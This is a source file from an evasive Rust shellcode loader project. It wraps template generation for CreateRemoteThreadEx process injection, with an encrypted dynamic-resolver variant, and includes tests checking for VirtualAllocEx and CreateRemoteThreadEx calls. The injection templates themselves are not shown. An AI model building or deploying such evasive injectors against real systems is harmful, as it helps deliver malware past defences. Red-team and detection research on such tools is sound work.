myph-v2~ rust shellcode loader with evasive capabilities |
| git clone https://github.com/djnnvx/myph-v2.git |
| log | files | refs | archive | README |
create_remote_thread_ex.rs (2967B)
1 use super::process_injection_common::RemoteThreadConfig; 2 3 const CRTX_CONFIG: RemoteThreadConfig = RemoteThreadConfig::create_remote_thread_ex(); 4 5 #[allow(dead_code)] 6 pub fn crtx_import() -> String { 7 CRTX_CONFIG.generate_import() 8 } 9 10 #[allow(dead_code)] 11 pub fn crtx_const() -> String { 12 CRTX_CONFIG.generate_const() 13 } 14 15 #[allow(dead_code)] 16 pub fn crtx_init() -> String { 17 CRTX_CONFIG.generate_init() 18 } 19 20 #[allow(dead_code)] 21 pub fn crtx_process() -> String { 22 CRTX_CONFIG.generate_process() 23 } 24 25 pub fn generate_crtx_code(target_process: &str, function_name: &str) -> String { 26 CRTX_CONFIG.generate_template(target_process, function_name) 27 } 28 29 pub fn generate_crtx_code_with_dynamic_resolver( 30 target_process: &str, 31 function_name: &str, 32 encryption_type: &str, 33 encryptor: &dyn crate::encryption::Encryptor, 34 ) -> String { 35 CRTX_CONFIG 36 .generate_template_with_dynamic_resolver( 37 target_process, 38 function_name, 39 encryption_type, 40 encryptor, 41 ) 42 .unwrap_or_else(|err| { 43 panic!( 44 "Failed to generate CRTx code with dynamic resolver (encryption: {}): {}", 45 encryption_type, err 46 ) 47 }) 48 } 49 50 pub struct CRTxGenerator; 51 52 impl super::trait_generator::TechniqueGenerator for CRTxGenerator { 53 fn generate_code(&self, process: &str, function_name: &str) -> String { 54 generate_crtx_code(process, function_name) 55 } 56 57 fn generate_code_with_dynamic_resolver( 58 &self, 59 process: &str, 60 function_name: &str, 61 encryption_type: &str, 62 encryptor: &dyn crate::encryption::Encryptor, 63 ) -> String { 64 generate_crtx_code_with_dynamic_resolver(process, function_name, encryption_type, encryptor) 65 } 66 67 fn requires_process(&self) -> bool { 68 true 69 } 70 71 fn name(&self) -> &'static str { 72 "CreateRemoteThreadEx" 73 } 74 } 75 76 #[cfg(test)] 77 mod tests { 78 use super::*; 79 80 #[test] 81 fn test_generate_crtx_template_replaces_process_placeholder() { 82 let template = generate_crtx_code("notepad.exe", "TestFunc"); 83 assert!(template.contains("notepad.exe")); 84 assert!(!template.contains("__PROCESS__")); 85 } 86 87 #[test] 88 fn test_generate_crtx_template_contains_all_parts() { 89 let template = generate_crtx_code("calc.exe", "MyFunction"); 90 assert!(template.contains("use std::ptr")); 91 assert!(template.contains("MEM_COMMIT")); 92 assert!(template.contains("fn load_process")); 93 assert!(template.contains("fn MyFunction")); 94 assert!(template.contains("VirtualAllocEx")); 95 assert!(template.contains("CreateRemoteThreadEx")); 96 } 97 98 #[test] 99 fn test_generate_crtx_code() { 100 let code = generate_crtx_code("notepad.exe", "MyRandomFunc"); 101 assert!(code.contains("notepad.exe")); 102 assert!(code.contains("fn MyRandomFunc")); 103 assert!(!code.contains("__PROCESS__")); 104 } 105 }